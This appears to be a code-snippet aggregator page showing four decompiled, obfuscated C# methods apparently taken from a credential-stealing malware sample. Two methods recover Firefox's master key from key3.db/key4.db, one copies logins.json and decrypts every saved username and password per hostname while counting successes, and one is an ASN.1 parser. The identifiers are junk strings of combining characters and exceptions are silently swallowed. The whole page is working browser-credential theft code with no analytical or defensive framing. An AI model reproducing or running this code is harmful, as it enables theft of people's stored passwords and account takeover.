Пример #1
0
 // Token: 0x060001D9 RID: 473 RVA: 0x000101CC File Offset: 0x0000E3CC
 private static byte[] GetPrivate3Key(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         new DataTable();
         Class_70 berkeleyDB = new Class_70(file);
         Class_72 class_     = new Class_72(Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
         string   hexString  = Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
         Class_71 class_2    = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Class_69.ConvertHexStringToByteArray(class_.prop_0));
         class_2.smethod_230();
         Class_50.Decrypt(class_2.prop_3, class_2.prop_4, Class_69.ConvertHexStringToByteArray(class_.prop_2), PaddingMode.None);
         Class_62 class_3 = Class_61.Create(Class_69.ConvertHexStringToByteArray(Class_78.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         Class_71 class_4 = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), class_3.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1);
         class_4.smethod_230();
         Class_62 class_5 = Class_61.Create(Class_61.Create(Encoding.Default.GetBytes(Class_50.Decrypt(class_4.prop_3, class_4.prop_4, class_3.prop_3[0].prop_3[1].prop_1, PaddingMode.None))).prop_3[0].prop_3[2].prop_1);
         if (class_5.prop_3[0].prop_3[3].prop_1.Length > 24)
         {
             Array.Copy(class_5.prop_3[0].prop_3[3].prop_1, class_5.prop_3[0].prop_3[3].prop_1.Length - 24, array, 0, 24);
         }
         else
         {
             array = class_5.prop_3[0].prop_3[3].prop_1;
         }
     }
     catch
     {
     }
     return(array);
 }
Пример #2
0
 // Token: 0x060001D8 RID: 472 RVA: 0x0000FF8C File Offset: 0x0000E18C
 private static byte[] GetPrivate4Key(string file)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(result);
         }
         Class_108 class_ = new Class_108(file);
         class_.smethod_400("metaData");
         string   s         = class_.pmethod_399(0, "item1");
         Class_62 class_2   = Class_61.Create(Encoding.Default.GetBytes(class_.pmethod_399(0, "item2)")));
         byte[]   byteDizi_ = class_2.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1;
         byte[]   input     = class_2.prop_3[0].prop_3[1].prop_1;
         Class_71 class_3   = new Class_71(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byteDizi_);
         class_3.smethod_230();
         Class_50.Decrypt(class_3.prop_3, class_3.prop_4, input, PaddingMode.None);
         class_.smethod_400("nssPrivate");
         int    num = class_.prop_3;
         string s2  = string.Empty;
         for (int i = 0; i < num; i++)
         {
             if (class_.pmethod_399(i, "a102") == Encoding.Default.GetString(Class_78.\u0368\u0363\u034A\u035D\u0020\u0E47\u034F\u0355\u0318\u034E\u036B\u034E\u0364\u033B\u0358\u0020kffuazvgifweulwv\u0347\u033C\u032F\u0342\u0325\u0359\u0020\u036B\u031D\u036A\u0342\u0E47\u036F\u0342\u0332\u0324xubcmltrgjxdhotl))
             {
                 s2 = class_.pmethod_399(i, "a11");
                 break;
             }
         }
         Class_62 class_4    = Class_61.Create(Encoding.Default.GetBytes(s2));
         byte[]   byteDizi_2 = class_4.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1;
         byte[]   input2     = class_4.prop_3[0].prop_3[1].prop_1;
         Class_71 class_5    = new Class_71(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byteDizi_2);
         class_5.smethod_230();
         result = Encoding.Default.GetBytes(Class_50.Decrypt(class_5.prop_3, class_5.prop_4, input2, PaddingMode.PKCS7));
     }
     catch
     {
     }
     return(result);
 }
Пример #3
0
        // Token: 0x060001D7 RID: 471 RVA: 0x0000FCE8 File Offset: 0x0000DEE8
        private static List <Class_68> ParseLogins(string profile, byte[] privateKey)
        {
            List <Class_68> list = new List <Class_68>();

            try
            {
                string path = Class_69.CreateTempCopy(Path.Combine(profile, "logins.json"));
                if (!File.Exists(path))
                {
                    return(list);
                }
                foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON().tmethod_322("logins")))
                {
                    Class_103 class_  = (Class_103)obj;
                    Class_62  class_2 = Class_61.Create(Convert.FromBase64String(class_.tmethod_322("encryptedUsername").gmethod_333(false)));
                    Class_62  class_3 = Class_61.Create(Convert.FromBase64String(class_.tmethod_322("encryptedPassword").gmethod_333(false)));
                    string    text    = Regex.Replace(Class_50.Decrypt(privateKey, class_2.prop_3[0].prop_3[1].prop_3[1].prop_1, class_2.prop_3[0].prop_3[2].prop_1, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    string    text2   = Regex.Replace(Class_50.Decrypt(privateKey, class_3.prop_3[0].prop_3[1].prop_3[1].prop_1, class_3.prop_3[0].prop_3[2].prop_1, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    Class_68  class_4 = new Class_68
                    {
                        prop_0 = (string.IsNullOrEmpty(class_.tmethod_322("hostname").gmethod_333(false)) ? "UNKNOWN" : class_.tmethod_322("hostname").gmethod_333(false)),
                        prop_1 = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text),
                        prop_2 = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2)
                    };
                    if (class_4.prop_1 != "UNKNOWN" && class_4.prop_2 != "UNKNOWN" && class_4.prop_0 != "UNKNOWN")
                    {
                        list.Add(class_4);
                        Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk++;
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Пример #4
0
        // Token: 0x06000170 RID: 368 RVA: 0x0000E114 File Offset: 0x0000C314
        public static Class_62 Create(byte[] dataToParse)
        {
            Class_62 class_ = new Class_62();

            for (int i = 0; i < dataToParse.Length; i++)
            {
                Class_63 class_2 = (Class_63)dataToParse[i];
                switch (class_2)
                {
                case Class_63.\u0347\u0363\u0323\u036B\u0308\u031B\u0020\u035A\u0331\u0308\u0308\u033B\u0353\u0331\u032C\u0020jacdwkizwuxzvbzl\u0316\u031F\u032F\u0360\u032F\u0020\u033A\u0353\u0317\u033C\u0E47\u035C\u0E47\u0339\u0338\u030Doduqrdjpffeqgyol:
                {
                    class_.prop_3.Add(new Class_62
                        {
                            prop_0 = Class_63.\u0347\u0363\u0323\u036B\u0308\u031B\u0020\u035A\u0331\u0308\u0308\u033B\u0353\u0331\u032C\u0020jacdwkizwuxzvbzl\u0316\u031F\u032F\u0360\u032F\u0020\u033A\u0353\u0317\u033C\u0E47\u035C\u0E47\u0339\u0338\u030Doduqrdjpffeqgyol,
                            prop_2 = (int)dataToParse[i + 1]
                        });
                    byte[] array  = new byte[(int)dataToParse[i + 1]];
                    int    length = (i + 2 + (int)dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : ((int)dataToParse[i + 1]);
                    Array.Copy(dataToParse, i + 2, array, 0, length);
                    class_.prop_3[class_.prop_3.Count - 1].prop_1 = array;
                    i = i + 1 + class_.prop_3[class_.prop_3.Count - 1].prop_2;
                    break;
                }

                case (Class_63)3:
                case (Class_63)5:
                    break;

                case Class_63.\u0355\u0332\u0303\u0020\u0348\u0489\u036A\u033B\u0329\u0347\u0348\u0337\u0E47\u0020\u0360\u031Bgfaaxbgpapcutiyw\u034B\u0359\u0339\u032C\u0332\u0356\u0324\u0349\u0313\u036B\u0347\u0338n\u0330\u0303\u035Ebohqkbweqzdegofe:
                {
                    class_.prop_3.Add(new Class_62
                        {
                            prop_0 = Class_63.\u0355\u0332\u0303\u0020\u0348\u0489\u036A\u033B\u0329\u0347\u0348\u0337\u0E47\u0020\u0360\u031Bgfaaxbgpapcutiyw\u034B\u0359\u0339\u032C\u0332\u0356\u0324\u0349\u0313\u036B\u0347\u0338n\u0330\u0303\u035Ebohqkbweqzdegofe,
                            prop_2 = (int)dataToParse[i + 1]
                        });
                    byte[] array2  = new byte[(int)dataToParse[i + 1]];
                    int    length2 = (i + 2 + (int)dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : ((int)dataToParse[i + 1]);
                    Array.Copy(dataToParse, i + 2, array2, 0, length2);
                    class_.prop_3[class_.prop_3.Count - 1].prop_1 = array2;
                    i = i + 1 + class_.prop_3[class_.prop_3.Count - 1].prop_2;
                    break;
                }

                case Class_63.\u032C\u0333\u0E47\u033C\u0363\u0364\u0339\u036F\u035Ch\u0E47\u0320\u033D\u0301\u0E47\u0020hppcqdarxlrwzovm\u0E47\u032E\u033B\u0316\u032C\u0303\u0331\u034E\u0339\u032D\u0E47\u0E47\u0E47\u035A\u036B\u0359jffomvukpppnngvu:
                {
                    class_.prop_3.Add(new Class_62
                        {
                            prop_0 = Class_63.\u032C\u0333\u0E47\u033C\u0363\u0364\u0339\u036F\u035Ch\u0E47\u0320\u033D\u0301\u0E47\u0020hppcqdarxlrwzovm\u0E47\u032E\u033B\u0316\u032C\u0303\u0331\u034E\u0339\u032D\u0E47\u0E47\u0E47\u035A\u036B\u0359jffomvukpppnngvu,
                            prop_2 = (int)dataToParse[i + 1]
                        });
                    byte[] array3  = new byte[(int)dataToParse[i + 1]];
                    int    length3 = (i + 2 + (int)dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : ((int)dataToParse[i + 1]);
                    Array.Copy(dataToParse, i + 2, array3, 0, length3);
                    class_.prop_3[class_.prop_3.Count - 1].prop_1 = array3;
                    i = i + 1 + class_.prop_3[class_.prop_3.Count - 1].prop_2;
                    break;
                }

                default:
                    if (class_2 == Class_63.\u033C\u0315\u0312\u0369\u0365\u0309\u0367\u0349\u0E47\u0E47\u0332\u032F\u0020\u031F\u0020\u035Bxaguklmpkkhzvsdf\u035F\u0346\u0313\u0020\u036D\u0329\u034F\u034E\u0333ส\u033D\u0020\u033C\u0324\u034D\u0342zgtftxzqbxmhquxc)
                    {
                        byte[] array4;
                        if (class_.prop_2 == 0)
                        {
                            class_.prop_0 = Class_63.\u033C\u0315\u0312\u0369\u0365\u0309\u0367\u0349\u0E47\u0E47\u0332\u032F\u0020\u031F\u0020\u035Bxaguklmpkkhzvsdf\u035F\u0346\u0313\u0020\u036D\u0329\u034F\u034E\u0333ส\u033D\u0020\u033C\u0324\u034D\u0342zgtftxzqbxmhquxc;
                            class_.prop_2 = dataToParse.Length - (i + 2);
                            array4        = new byte[class_.prop_2];
                        }
                        else
                        {
                            class_.prop_3.Add(new Class_62
                            {
                                prop_0 = Class_63.\u033C\u0315\u0312\u0369\u0365\u0309\u0367\u0349\u0E47\u0E47\u0332\u032F\u0020\u031F\u0020\u035Bxaguklmpkkhzvsdf\u035F\u0346\u0313\u0020\u036D\u0329\u034F\u034E\u0333ส\u033D\u0020\u033C\u0324\u034D\u0342zgtftxzqbxmhquxc,
                                prop_2 = (int)dataToParse[i + 1]
                            });
                            array4 = new byte[(int)dataToParse[i + 1]];
                        }
                        Array.Copy(dataToParse, i + 2, array4, 0, array4.Length);
                        class_.prop_3.Add(Class_61.Create(array4));
                        i = i + 1 + (int)dataToParse[i + 1];
                    }
                    break;
                }
            }
            return(class_);
        }